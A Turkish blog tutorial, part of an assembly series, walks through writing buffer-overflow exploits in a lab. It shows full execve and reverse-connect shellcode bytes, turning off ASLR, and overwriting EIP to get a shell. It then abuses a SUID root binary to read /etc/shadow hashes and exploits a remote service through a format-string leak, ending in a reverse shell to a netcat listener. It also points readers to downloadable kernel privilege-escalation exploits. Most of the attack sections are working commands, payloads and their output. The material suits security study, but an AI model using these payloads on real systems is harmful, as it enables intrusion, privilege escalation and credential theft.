Hacker'ın Olmazsa Olmazı Assembly #8 Sömürme Zamanı

Shellcode mevzusunu bu yazıda, fuzzing olayını da bu yazıda halletiğimize göre artık sıra kendi exploitlerimizi yazmaya geldi diyor ve yazının başlıklarına geçiyorum:

Bırakıver Oraya

Herşeyimiz hazır olduğuna göre sıra işin zevkli kısmı, meyve toplama vaktine geldi.Shellcode hazır, offset belirlendi ve tek yapmamız gereken EIP yani Instruction Pointer yaniyani programın belirlenen gidişatını değiştirdiğimiz yer olan adres kısmına kendi belirlediğimiz shellcodemuzun bulunduğu adresi koymaya.Peki ama shellcode bıraktığımız yerde duruyor.Orası neresi ?!

Serinin başından beri izlediğimiz yoldan şaşmıyor ve konunun anlaşılması için en basit örneklerle devam ediyoruz.Şimdilik local yani yerel saldırılarla başlayıp sonra bunu remote yani uzaktan nasıl yapıyoruz, gösterelim. İlk örnekle başlıyoruz, please tighten your seat belt!

ka@ka-vm ~/exploit $ gdb -q selam
gdb-peda$ run $(python -c 'print "\x90"*52 + "\xef\xbe\xad\xde"')
...
EIP: 0xdeadbeef
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()

Bir önceki yazıda kullandığımız hedef programımız bıraktığımız yerde duruyor.deadbeef de görevini tamamladığına göre sıra geldi,bizim gariban shellcode'u tozlu raflardan indirip onu biyerlere koymaya ve o biyerleri de öbüryerlere söyleyip son darbeyi vurmaya. Kullanabileceğimiz ilk emanetçi olarak aklımıza env gelebilir.Peki oraya bırakıverebilecez mi kontrol edelim.

ka@ka-vm ~/exploit $ export Shellcode=$(python -c 'print "\x90"*100 +
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50
\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"')
ka@ka-vm ~/exploit $ env
SSH_AGENT_PID=1447
Shellcode=���������������������������������1�Phn/shh//bi��P��P���
...

Bizim garibana yer bulduk da bu yerin adresi nedir,onu nasıl buluyoruz? Önümüzde iki seçenek var, ya kankamız olan peda'ya başvurabiliriz ya da basit bir C programı ile adresi öğrenebiliriz.Her ikisini de deneyip adres neymiş bulalım.

gdb-peda$ b main
Breakpoint 1 at 0x804846f
gdb-peda$ run
...
gdb-peda$ refsearch Shellcode
Searching for reference to: 'Shellcode' in: all ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff9f0 --> 0xbffffb60 ("Shellcode=\220\220\220...
ka@ka-vm ~/exploit $ ./env_adresi Shellcode selam
Shellcode adresi: 0xbfe40b87

Sağolsunlar her ikisi de adresi söyledi ama bir gariplik var.Hikmeti nedendir bilinmez [mi acabaaa?!], adresleri sorguladığımızda farklı değerler aldık.Sebebi bu tarz sömürme vakalarına karşı alınmış bir önlem olan ASLR.Detaylarını bir sonraki yazıya bırakıp bundan nasıl kurtuyoruz onu gösterelim.

ka@ka-vm ~/exploit $ cat /proc/sys/kernel/randomize_va_space
2 [ASLR açık]
ka@ka-vm ~/exploit $ su [Bu değişiklik için root hakları gerekiyor]
Password:
ka-vm exploit # echo 0 > /proc/sys/kernel/randomize_va_space
ka-vm exploit # exit
exit
ka@ka-vm ~/exploit $ cat /proc/sys/kernel/randomize_va_space
0 [ASLR kapalı]

ASLR korumasını da devre dışı bıraktığımıza göre adresi kesin olarak belirleyip ilk denememizi yapabiliriz.Denemeye geçmeden bir detayı daha açıklığa kavuşturalım.Shellcodedan önce yüz karakter nop yerleştirdik.Peki ne gerek var bu kadar nopa diye soran olursa, EIP değerini değiştirdiğimiz zaman program söylediğimiz adrese atlayacak.Nokta atışı atlamak her babayiğitin harcı olmaz diyerek önüne bolca nop serpiyoruz ki atlamadan sonra bizim nopların, başı ortası sonu farketmez, üstüne gelirse hata almadan işlem tamamlanır.Detaylar videoda diyoruz ve ilk denememizi yapıyoruz:

ka@ka-vm ~/exploit $ ./env_adresi Shellcode selam
Shellcode adresi: 0xbffffb87
ka@ka-vm ~/exploit $ ./env_adresi Shellcode selam
Shellcode adresi: 0xbffffb87 [Artık adres sabit!]
ka@ka-vm ~/exploit $ ./selam $(python -c 'print "A"*52 + "\x87\xfb\xff\xbf"')
Salam AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
$ id
uid=1000(ka) gid=1000(ka) groups=1000(ka),4(adm),24(cdrom),27(sudo),30(dip),107(lpadmin),125(sambashare)
$

Evet arkadaşlar karşınızda nur topu gibi bir exploit vakası duruyor.Programın içerisinde bir zaafiyet belirlendi, denemeler sonucunda offset öğrenildi, shellcode da hazırlanıp adresi belirlenince geriye kalan tek şey gördüğünüz üzere tek satırlık bir komut oluyor.Tamam da zaten komut satırım vardı, programı sömürdük de noldu diyenleri bir sonraki başlığa buyur ediyoruz.

Terfi İsteyen

Yerel saldırıların asıl amacı privilege escalation yani yetki yükseltmektir.Bu başlığımızı bir senaryoya dayandırıp örneklendirelim.Diyelim ki websitesi kurma kararı aldınız ve hosting firmasından shell hesabı bulunan bir paket satın aldınız.Sitenizi hazırladınız,herşey yolundayken şeytanın işi yok ya geldi sizi dürttü, elalemin şifrelerini ele geçir, bütün sitelere bas indexi dedi! [index basma? bknz buraya] Siz de rahat durmadınız ve bütün şifrelerin [hashli de olsa] bulunduğu /etc/shadow dosyasına bi el atayım dediniz.Hadi bakalım:

ka@ka-vm ~/exploit $ cat /etc/shadow
cat: /etc/shadow: Permission denied
ka@ka-vm ~/exploit $ ls -al
-rwxr-xr-x 1 ka ka 7441 May 26 02:56 selam
-rwsr-sr-x 1 root root 7447 May 26 05:02 selam_terfi
ka@ka-vm ~/exploit $ ./selam_terfi kenan
Salam kenan terfi ister miydin? [Fena olmaz hanii]

Güvenlik gereği sordunuz soruyu aldınız boruyu amma velakin cümbür cemaatin durmamaya kararlısınız.Araştırmaya başladınız ve bir program ilginizi çekti [Bizim selamın biraz modifikasyonlu hali].Program root haklarına sahipti, herkes için çalıştırma hakkı verilmişti ve SUID özelliği vardı.Eğer bu programda içerisinde zaafiyet bulabilirseniz işlem tamamdı.

ka@ka-vm ~/exploit $ cat /etc/shadow
cat: /etc/shadow: Permission denied
ka@ka-vm ~/exploit $ id
uid=1000(ka) gid=1000(ka) groups=1000(ka)...
ka@ka-vm ~/exploit $ ./selam_terfi $(python -c 'print "A"*52 + "\x87\xfb\xff\xbf"')
Salam AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���� terfi ister miydin?
# id
uid=1000(ka) gid=1000(ka) euid=0(root) egid=0(root) groups=0(root)...
# cat /etc/shadow
root:$6$rYjJ/H0h$5EJ45B4pOpSu4mlXZJMOmUzTDvhxm6KSU1:15743:0:99999:7:::
ka:$6$fSSnxQtU$.j5JuWL/J0HNMhdaF4KJMEwvSl9uTjnEM/:15743:0:99999:7:::
...

Uzun yıllar önce sömürülen bu yöntem tarih olmuş olsa da görüldüğü üzere yetki yükseltmeyi başarınca önünüzde hiç bir engel kalmıyor.Peki yeni yöntemler çıkmıyor mu? Kedi-fare oyunu demiştik, çıkmaz mı!Mesela geçmişi karanlık bir abimizin bulduğu bir bug sayesinde 64 bit linux sistemleri hedef alan bir exploiti bu adresten, 32 bit sistemler için biraz değiştirilmiş halini ise bu adresten indirebilirsiniz.

Videolarda kullandığım Mint 32 bit işletim sisteminde bahsettiğimiz exploit çalışmıyor.Kısaca neden acaba diye bakarsak; ihtiyacımız olan 2 şey var. Birincisi /boot/System.map-... dosyasına kullanıcılar tarafından erişim verilmesi gerekiyor ki MALESEF Mint linuxte bu erişim yok.Bir de /dev/ptmx sisteminizde kullanılıyor olması gerekiyor,bakalım:

ka@ka-vm ~ $ ls -al /dev/ptmx
crw-rw-rw- 1 root tty 5, 2 May 26 17:09 /dev/ptmx [Bu tamamdır, sıradaki?]
ka@ka-vm ~ $ ls -al /boot/System.map*
-rw------- 1 root root 2320733 Oct 9 2012 /boot/System.map-3.5.0-17-generic
[Sadece root abimize izin verilmiş!]

Yerel saldırıları yeterince incelediğimize göre şimdi de bu işi uzaktan nasıl yapıyoruz,bir sonraki başlığımızda incelemeye başlayalım.

Bi Biskrem Versem

Artık ne verip bu işi çözücez bilemem ama remote yani uzaktan saldırılar, lokallere nazaran çok daha zordur.Öncelikle hedef sistemde ne tür bir işletim sistemi var bilmiyoruz.Biliyoruz abi linux işte diyenlere hatırlatmamız gereken nokta, 32 bit linux ile 64 bit arasındaki fark sadece 32 rakamından ibaret değil.Herşey başlı başına değişiyor.

Hedef sistem hakkında bazı bilgilere sahip olduğumuzu varsayarak, mesela 32 bit işletim sistemi kullandığı gibi, bir sonraki sorunumuz olan shellcode'u nereye koyacağız kısmına gelirsek,burada da imdadımıza buffer alanımız geliyor.Mesela offsetimiz 140 byte ise bunun başını noplarla doldurup,geri kalan kısmına shellcodemuzu da ekledik mi geriye bir tek atlamamız gereken adresi bilmek kalıyor ki en dertli kısım da tam olarak burası!

Şimdi anladın mı benim hazırıkullanırnasıldırımeraketmez metasipiloyitçi kardeşim, bazı exploitler için neden işletim sistemini kesin olarak bilmen gerekiyormuş!Madem remote bir saldırı yapıcaz bu sefer reverse connect shellcode kullanalım ve sömürme sonrası hedef bilgisayar saldırdığımız bilgisayara geri bağlantı kursun.Zaten firewall ya da router arkasında olan bir sisteme saldırmanın en iyi yolu budur der bu işi bilen abilerimiz. Hemen shellcode olayına bir el atalım,kankaaa neredesin ?!

[Saldırının yapılacağı bilgisayar]
root@kali:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:4e:61:57
inet addr:192.168.1.74 Bcast:192.168.1.255 Mask:255.255.255.0
gdb-peda$ shellcode generate x86/linux connect 4444 192.168.1.74
# x86/linux/connect: 70 bytes
# port=4444, host=192.168.1.74
shellcode = (
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x4a\x66\x68"
"\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80"
)
root@kali:~# nc -vv -l -p 4444
listening on [any] 4444 ...

Shellcode hazır [70 bytes kısmına dikkat!], netcat tetikte bekliyor, bir önceki yazıda fuzzing için kullandığımız servir programının offsetini belirlemiştik [140 byte], daha ne duruyoruz diyenlere hani exploit nerede diyor ve tek eksiğimiz olan atlama adresini bulmak için seçeneklerimizi kontrol ediyoruz.

Basit bir C programı ile ESP değerini EAX registerına gönderip öğrenebileceğimiz yaklaşık atlama adresi yerine daha kesin bir yöntemi tercih edelim.Servir programının içerisinde bir önceki yazıda anlattığımız Format String zaafiyeti olduğundan basit bir sorgulama ile adres değerini öğrenebiliyoruz.Görelim:

root@kali:~# nc 192.168.1.73 4444
Type QUIT on a line by itself to quit
p%p% [Yazdıklarımız ters gidiyordu, %p ile adres değerini istedik]
0x40xbffff75c
root@kali:~# python -c 'print hex(0xf75c - 130)'
0xf6da

Adres değerini öğrendikten sonra ufak bir hesaplama yaptık.Ne gerekti vardı bu hesaplamaya,ayrıca neden toplamadık da çıkardık? Serinin önceki yazılarında cevabı var ama yine de videoda detaylara gireceğiz deyip devam edelim.Atlama adresi olarak "\xda\xf6\xff\xbf" değerini de belirlediğimize göre artık exploitimizi ateşleyip sonucu görelim:

root@kali:~/exploit $ ./exp.py 127.0.0.1 4444
[-] Servir programı için hazırlanan exploit [-]
[*] Servir çalışiir -> Type QUIT on a line by itself to quit
145 byte payload gönderildi, nc kontrol!
[Exploit sonrası]
root@kali:~# nc -vv -l -p 4444
listening on [any] 4444 ...
192.168.1.73: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.1.74] from (UNKNOWN) [192.168.1.73] 48363
id
uid=1000(ka) gid=1000(ka) groups=1000(ka),4(adm),24(cdrom),27(sudo),30(dip),107(lpadmin)
netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.73:48363 192.168.1.74:4444 ESTABLISHED
tcp 1 0 127.0.0.1:4444 127.0.0.1:50431 CLOSE_WAIT
exit
sent 21, rcvd 1051

Exploiti çalıştırdığımız anda hedef bilgisayarın belirlediğimiz IP adresindeki bilgisayar geri bağlantı yaptığını görüyoruz. Başarıyla sonuçlanan bir exploit vakası daha.Peki 70 byte shellcode için yeterince alanımız olmasaydı,ne yapacaktık.Bir sonraki başlıkta anlatıp yazımızı şivey şivey sonlandıralım.

Dinayıl OF Sörvis

Uzun uğraşlar neticesinde zaafiyet bulduğunuza tam sevinecekken, hevesiniz kursağınızda kalır.Çünkü kullanabildiğiniz alan shellcode için yeterli değildir.Mesela veri girişi için ayrılan alan sadece 8 byte ve offsetin de 12 olduğunu varsayalım.Bu durumda zaafiyeti, verdiğimiz örneklerde olduğu gibi sömüremezsiniz.

Yapabileceğiniz tek şey, ya shellcode için başka bir yer bulmak ya da hedef programı devre dışı bırakmak.Bu tip saldırılara Denial of Service kısaca DoS deniliyor.Yaygınca bilinen DDoS ile aralarındaki tek fark; DoS saldırısında tek bir bilgisayardan göndereceğiniz küçük bir paket ile hedef program hizmet dışı bırakılabilirken, DDoS için ise binlerce bilgisayardan, çok yüksek hızlarda sürekli paketler göndermeniz gerekmektedir.

DoS ya da DDoS bir saldırı türü olabilir ama kesinlikle hack demek değildir.Her ne kadar medyamız mal bulmuş mağribi gibi yok bilmem hangi bakanlık hacklendi felan dese de aslında yapılan hizmet sunucuları devre dışı bırakmaktan başka birşey değildir.

Kendi exploitlerimizi yazabildiğimize göre bir sonraki yazıda geçici olarak devre dışı bıraktığımız NX ve ASLR korumalarını ve bunları nasıl atlatabildiğimizi inceleyeceğiz diyor ve sizi yazı için hazırlanan video ile başbaşa bırakıyorum.

Oynatalım Uğurcum

Yazı için hazırlanan videoyu YouTube'dan izleyebilirsiniz.

Env'da bulunan bir değişkenin adresini bulmamızı sağlayan C programını bu adresten, yazı için hazırlanan exploiti de bu adresten indirebilirsiniz.